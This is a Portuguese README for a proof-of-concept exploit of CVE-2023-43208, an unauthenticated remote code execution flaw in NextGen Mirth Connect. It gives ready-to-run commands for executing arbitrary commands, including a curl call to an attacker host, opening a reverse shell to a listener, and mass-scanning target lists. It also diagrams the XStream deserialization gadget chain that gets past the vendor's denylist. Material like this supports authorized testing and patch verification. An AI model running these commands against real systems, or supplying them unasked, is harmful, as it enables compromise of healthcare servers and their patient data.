
CVE-2023-43208: PoC de RCE pré-autenticação no Mirth Connect
Execução Remota de Código Pré-Autenticada no NextGen Healthcare Mirth Connect < 4.4.1 via bypass de desserialização XStream.
CVSS 9.8 (Crítico) — Bypass do patch de CVE-2023-37679
Mirth Connect usa a biblioteca Java XStream para desserializar payloads XML no endpoint /api/users sem autenticação. A correção original (CVE-2023-37679) introduziu uma lista de bloqueio de classes perigosas, mas isso foi contornado usando EventBindingInvocationHandler do Apache Commons Lang3 combinado com a cadeia InvokerTransformer do Commons Collections4.
Corrigido no Mirth Connect 4.4.1 ao mudar de lista de bloqueio para lista de permissões.
pip install requests
Python 3.10+ (usa instruções match).
python3 exploit.py check -t https://target:8443
python3 exploit.py exec -t https://target:8443 -c "id"
python3 exploit.py exec -t https://target:8443 -c "curl http://attacker/pwned"
# Terminal 1 (ou deixe o script gerenciar o listener):
python3 exploit.py shell -t https://target:8443 --lhost 10.10.10.10 --lport 4444
# Para uma melhor experiência de shell, use rlwrap:
rlwrap python3 exploit.py shell -t https://target:8443 --lhost 10.10.10.10 --lport 4444
python3 exploit.py scan -f targets.txt -o vulnerable.txt -T 30
POST /api/users (no auth)
│
▼
XStream deserializes XML payload
│
▼
sorted-set triggers Comparable.compareTo()
│
▼
dynamic-proxy → EventBindingInvocationHandler (bypasses denylist)
│
▼
ChainedTransformer.transform()
│
▼
ConstantTransformer(Runtime.class)
→ InvokerTransformer("getRuntime")
→ InvokerTransformer("invoke")
→ InvokerTransformer("exec", <command>)
│
▼
OS command execution as Mirth Connect service user
Esta ferramenta é fornecida apenas para testes de segurança autorizados e fins educacionais. O acesso não autorizado a sistemas de computador é ilegal. Sempre obtenha a devida autorização antes de testar.